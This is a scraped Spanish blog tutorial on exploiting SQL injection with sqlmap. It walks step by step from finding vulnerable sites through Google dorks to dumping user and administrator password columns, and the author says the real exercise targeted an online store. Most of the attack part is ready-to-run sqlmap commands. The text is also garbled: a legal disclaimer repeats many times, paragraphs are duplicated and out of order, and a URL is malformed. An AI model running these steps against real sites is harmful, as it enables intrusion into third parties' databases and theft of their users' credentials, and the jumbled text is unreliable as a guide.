Según Wikipedia Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos...
La inyección SQL esta en la cima de el delito en la red, por el valor de las bases de datos que están en la red (empresas,tiendas,banca online...) ahí se almacenan todo tipo de credenciales, desde nombres de usuario hasta números bancarios. Como sabréis, las inyecciones SQL en algunos casos se pueden realizar desde el propio navegador, inyectando caracteres en una consulta desde la pagina web hasta la base de datos, que generen un tipo de error, esa sera la parte del código SQL vulnerable, es decir inyectaremos código SQL intruso contra ese parámetro "mal configurado" .
La linea de arriba es la consulta normal, abajo inyectamos una comilla para poder ver si es vulnerable.
Al introducir la linea anterior observamos que nos muestra las tablas dentro de la base de datos seleccionada, por motivos obvios la url del post no es la utilizada realmente en la practica, ya que la practica real fue realizada contra una tienda online.
En la siguiente linea, vamos a ver que contienen las tablas que nos interesen, es decir, ver las columnas que contiene cada tabla
sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos -T usuarios --columns
Observamos listado de columnas, podemos ver que contiene usuarios, contraseñas , teléfonos y demás datos sensibles, ahora solo queda visualizar la columna deseada, para ello seleccionamos las columnas con -C y finalizamos con --dump.
La inyección SQL esta en la cima de el delito en la red, por el valor de las bases de datos que están en la red (empresas,tiendas,banca online...) ahí se almacenan todo tipo de credenciales, desde nombres de usuario hasta números bancarios. Como sabréis, las inyecciones SQL en algunos casos se pueden realizar desde el propio navegador, inyectando caracteres en una consulta desde la pagina web hasta la base de datos, que generen un tipo de error, esa sera la parte del código SQL vulnerable, es decir inyectaremos código SQL intruso contra ese parámetro "mal configurado" .
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more
at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more
at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
ESTA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf
STA
PRACTICA FUE REALIZADA EN UN ENTORNO CONTROLADO, CON DISPOSITIVOS
PROPIOS, RECORDAR QUE ACCEDER Y ROBAR INFORMACIÓN AJENA ES UN DELITO
PENALIZADO Y PERSEGUIDO POR LOS CUERPOS DE SEGURIDAD DEL ESTADO,
RECOMIENDO REALIZAR ESTAS PRACTICAS EN ENTORNOS CONTROLADOS - See more at: http://www.davidsora.es/#sthash.mnzlqMMu.dpuf icho esto, manos a la obra, comenzamos arrancando la maquina con Kali Linux instalado, recordar que SQLMap está disponible para otros sistemas y distribuciones.
Antes de comenzar, buscaremos una pagina vulnerable, podemos usar dorks de google tipo : inurl=.php?id= o hacerlo manualmente, Ejemplo:
http://www.prueba.com/tienda.php?id=abc
La linea de arriba es la consulta normal, abajo inyectamos una comilla para poder ver si es vulnerable.
http://www.prueba.com/tienda.php?id='
En caso de ser vulnerable debería mostrar por pantalla un error. Una vez tengamos la pagina vulnerable arrancamos SQLMap, la herramienta SQLMap la podéis encontrar en Aplicaciones - Análisis de vulnerabilidades - valuación de bases de datos - sqlmap, en esta "guia" utilizaremos parámetros básicos ya que SQLmap ofrece muchas posibilidades, desde evadir IDS/Firewall a utilizar la red tor como escudo. Ahora arrancamos la aplicación e introducimos la siguiente linea.
sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" --dbs --dbms=mysql
con esta orden, inyectaremos consultas SQL en el parámetro idNoticia, el cual sabíamos que era vulnerable, el --dbs es para visualizar las bases de datos, el --dbms es para seleccionar el tipo de motor de consultas y colocamos =mysql. Una vez ejecutado, nos mostrara las bases de datos disponibles, como podéis observar inyecto el código en el parámetro idNoticia, el cual sabíamos que era vulnerable .
Ahora que podemos ver las bases de datos, vamos a buscar las tablas que puedan ser de interés,
con esta orden, inyectaremos consultas SQL en el parámetro idNoticia, el cual sabíamos que era vulnerable, el --dbs es para visualizar las bases de datos, el --dbms es para seleccionar el tipo de motor de consultas y colocamos =mysql. Una vez ejecutado, nos mostrara las bases de datos disponibles, como podéis observar inyecto el código en el parámetro idNoticia, el cual sabíamos que era vulnerable .
sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos --tables
En la siguiente linea, vamos a ver que contienen las tablas que nos interesen, es decir, ver las columnas que contiene cada tabla
sqlmap -u "http://www.prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos -T usuarios --columns
Observamos listado de columnas, podemos ver que contiene usuarios, contraseñas , teléfonos y demás datos sensibles, ahora solo queda visualizar la columna deseada, para ello seleccionamos las columnas con -C y finalizamos con --dump.
sqlmap -u "http:/prueba.com/index.php?mod=noticias&tipo=completa&idNoticia=76" -D baseDatos -T usuarios -C passwd,tipoUsuaria --dump
Ahora nos mostrará las columnas que escogimos anteriormente, es decir las contraseñas y los tipos de usuario, con esto pretendía obtener los accesos de administrador y contraseña de la pagina web.
Ya tenemos las credenciales de todos los usuarios registrados en la tienda, tanto del administrador como de los usuarios normales.
A partir de aquí, todo depende de hasta donde queráis llegar, como siempre recomiendo realizarlo en entornos controlados, ya que una practica de este tipo os puede llevar a incurrir en un delito.